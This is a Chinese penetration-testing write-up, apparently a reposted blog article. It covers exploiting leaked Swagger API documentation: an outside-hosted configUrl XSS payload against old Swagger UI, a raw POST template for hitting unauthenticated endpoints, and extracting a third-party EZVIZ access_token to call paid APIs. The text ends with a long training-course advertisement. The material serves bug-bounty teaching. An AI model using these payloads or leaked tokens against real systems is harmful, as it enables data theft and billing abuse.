文章总结: 本文介绍了在渗透测试中发现和利用Swagger接口文档泄露的完整过程,包括通过springboot-scan工具发现泄露路径,利用低版本SwaggerUI的XSS漏洞,以及通过未授权访问获取敏感信息。文章重点展示了一个实际案例,通过分析Swagger文档获取了萤石视频服务的access_token,成功接管了第三方API服务,可能导致额外费用产生。文章强调了API接口文档泄露的安全风险,特别是第三方服务凭证泄露可能造成的严重后果。
综合评分: 75
文章分类: WEB安全,渗透测试,漏洞分析,API安全,未授权访问
记一次swagger的深度测试造成第三方API服务接管
原创
猎洞时刻团队
猎洞时刻
2025年7月5日 20:00
上海
免责声明
本公众号“猎洞时刻”旨在分享网络安全领域的相关知识,仅限于学习和研究之用。本公众号并不鼓励或支持任何非法活动。本公众号中提供的所有内容都是基于作者的经验和知识,并仅代表作者个人的观点和意见。这些观点和意见仅供参考,不构成任何形式的承诺或保证。本公众号不对任何人因使用或依赖本公众号提供的信息、工具或技术所造成的任何损失或伤害负责。本公众号提供的技术和工具仅限于学习和研究之用,不得用于非法活动。任何非法活动均与本公众号的立场和政策相违背,并将依法承担法律责任。本公众号不对使用本公众号提供的工具和技术所造成的任何直接或间接损失负责。使用者必须自行承担使用风险,同时对自己的行为负全部责任。本公众号保留随时修改或补充免责声明的权利,而不需事先通知
swagger接口文档泄露
目标网站为https://www.xxxtest.com/index
在进行渗透测试中发现,存在以下接口特征,对于这种/api/v1或者/api/v2或者/api、/apis等API开头的接口前缀,是很容易出现swagger、actuator、druid泄露等,当然在我们课程中都是经常讲,也经常遇到的。
https://www.xxxtest.com/api/v1
对“https://www.xxxtest.com/api/v1” 进行目录扫描,这里推荐
springboot-scan进行目录扫描。
该工具扫描后大概为以下类似的内容,红色、紫色的就是可疑存在敏感信息泄露。
https://github.com/AabyssZG/SpringBoot-Scan
swagger存在两个可利用路径
比如:
https://www.xxxtest.com/api/v1/swagger-ui.htmlhttps://www.xxxtest.com/api/v1/api-docs
(/api/v1和/api/v2都是会经常出现的)
其实这俩都是同一个,不建议分开交,一个是html页面形式,一个是json接口形式。
访问后一般就是以下这种形式:
swagger-ui.html的XSS漏洞
对于html页面的swagger,在低版本下是存在一个通杀的nday xss,成功率极高,差不多你能遇到的swagger,六成都有这个xss。
通过?configUrl=https://xss.smarpo.com/test.json 的方式,可以触发漏洞,漏洞复现可以使用这个现成的测试链接,就是这个
https://xss.smarpo.com/test.json
直接使用这个测试链接,是别人写好测试该漏洞的。
触发弹框交上去就可以了,有很多审核不懂这个漏洞,建议解释一下这是个cve的nday,之前交某src扯了很久一直问原理,大概解释后也给了75元子的低危风险。
完整链接差不多如下:
https://www.xxxtest.com/api/v1/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json
swagger接口的未授权访问
当然swagger最大的作用也不是打个xss,而是看有没有未授权可利用接口,比如接口泄露敏感信息,或者造成sql注入、rce之类的。
比如下面这个猎洞团队内部赏金众测学员案例:
发现泄露了swagger接口文档,但是并非是html格式的,但是影响不大。
通过浏览器访问也就是下面这种情况:
接口未授权访问,可提取接口文档当中的接口信息,构造请求,获取数据。
提取的API接口信息如下:
/apis/site/addAsset
/apis/site/getSiteById
/apis/site/getSiteInfoById
/apis/site/siteActivityList
/apis/site/getOpenDoorListBySite
/apis/site/uploadBase64File
..............还有很多就不写了
进一步通过构造请求,遍历以上接口即可,以其中几个为例,获取数据如下:
未授权获取数据大屏接口API可以获得各个快递驿站信息,覆盖内容很多。
未授权获取活动列表:
其他接口同理,均可获取信息:
构造POST请求,根据接口列表,发送请求即可。数据包可使用上述案例的格式进行操作
POST/apis/site/siteActivityListHTTP/1.1Host: XXXXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brSec-GPC: 1Connection: keep-aliveUpgrade-Insecure-Requests: 1Priority: u=0, iContent-Type: application/json; charset=utf-8Content-Length: 2
{}
发现有大量接口都是存在未授权访问的。
第三方API服务接管
(如果小白不懂,详情解释在文末)
其中有一个接口很有意思,在swagger的/api-docs描述文档可以看到对于该接口的下面描述。
这一个第三方API服务接口,这个之前猎洞新课程里也有讲过多个这种案例,这种第三方服务接管的方法。
无非是两种,第一个是拿到key和secret生成acess_token去接管服务接口,第二种是只能拿到access_token,但是也能接管(单个acess_token有时效性)。
根据swagger的文档描述,成功构造以下数据包:
成功拿到该公司购买的萤石服务的API access_token
然后去查看萤石服务的开发文档,用这个access_token去调用里面的接口,证明access_token有效即可!
根据萤石api开放文档对比,token格式正确,由此可通过开发文档当中的接口内容,带着token发起请求,导致滥用,产生多余额外的费用,造成影响。
https://open.ys7.com/help/81
https://help.eziot.com/help/629
就是根据他们的开发文档,去调用萤石的接口,然后输入凭证access_token即可,证明接口可用!
每一个接口,在开放文档都有详情解释,你只需要去构造数据包,按照文档里面的格式,输入API路径、参数和传入最终重要的access_token访问凭证,就可以调用,非常容易。
可能有些小白师傅不懂这个第三方API服务接管是什么意思?
其实就是很多商业产品,对外售卖互联网服务,比如人脸识别AI功能。
比如A公司专门搞AI的,他们推出了人脸识别服务的AI接口,B公司真需要这个功能,但是如果自己搞一套AI运营成本很高,于是就向A公司购买AI接口服务。
但是由于向A公司购买AI服务的很多,于是就给所有购买服务的公司都设置了账号密码也就是key和secret,然后通过key和secret生成access_token访问凭证,通过该访问凭证就知道是哪个公司购买和访问的,如果购买了,就有权限使用A公司的AI服务接口,当然,每使用一次都是收费的!
所以无论是key还是secret或者是access_token直接泄露都是有风险的,造成不小的损失,别人不花钱能随便滥用。
该内容来自猎洞时刻团队第三期内部赏金众测项目
猎洞时刻第三期漏洞挖掘培训
目前猎洞时刻漏洞挖掘第三期正在开课中,覆盖企业赏金SRC,众测赏金,线下项目渗透和安全行业工作能力提升、EDUSRC、CNVD、工作内推、一对一在线技术解答,目前价格仅需1千多,每期都可以永久学习,无二次收费,并且赠送内容200+、成员500+的内部知识星球,保证无保留教学,不搞水课! 众多学员入职CT、LM、QAX、AH、360等安全大厂。 酒香不怕巷子深,可以打听已经报名学员,我这边是否全程干货! 绝对对得起师傅们花的钱! (以下课表内容并非全部,经常在上课期间添加新的技能方向!)
《近期报名学员成果汇报》
众多学员入职各大安全厂商,ct、lm、qax、ah、360等等均有学员入职。不仅仅是挖洞课程,我这边也会给大家提供入职规划和入职经验!
本课程承诺是无保留教学、无私藏关键内容点、并且一对一解答!
被大量学员强推“涨价”的课程,我始终坚信,服务好大家,才能越走越远!
来自学员企业赏金SRC、众测赏金挖掘反馈。
低价一千多的课程并不代表内容比市面上几千块的差,打破一分钱一分货的观念!
另一个学员通过支付漏洞的小思路,再次拿下6000+1000+1000=8000的赏金。
下面众多学员赏金回本内容。
学员获取万元赏金,一次性回本几倍。
下面是来自学员的EDUSRC挖掘成果,一个人三个月八百分,将近30本证书。
来自学员报名后的真实评价和反馈。
从一开始的疑惑不信任,怕跳入另一个培训的坑,到最后的逐帧学习!
每节课都是花费大量时间进行撰写,不仅仅课程全程干货,针对于学员的入职、简历修改、实习和职业规划、工作内推、在线技术解答这些售后服务也一直在认真做。
课程加量不加价、上述课表中的内容,不代表第三期的全部内容,实际上课会比课表多更多。
课程中还会有更多其他师傅的技术分享,比如溯源反制、edu通杀挖掘、企业src挖洞新技巧等等…
除此之外,包括什么HW和入职简历修改、安全厂商内推等资源、内部众测项目我们团队都是具有资源的!然后还会赠送一个永久的安全圈子(原收费圈),有大量漏洞实战报告、各种实用工具和安全圈资源!
报名课程赠送永久纷传圈子
技术交流和咨询课程加我微信
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:猎洞时刻 猎洞时刻团队《记一次swagger的深度测试造成第三方API服务接管》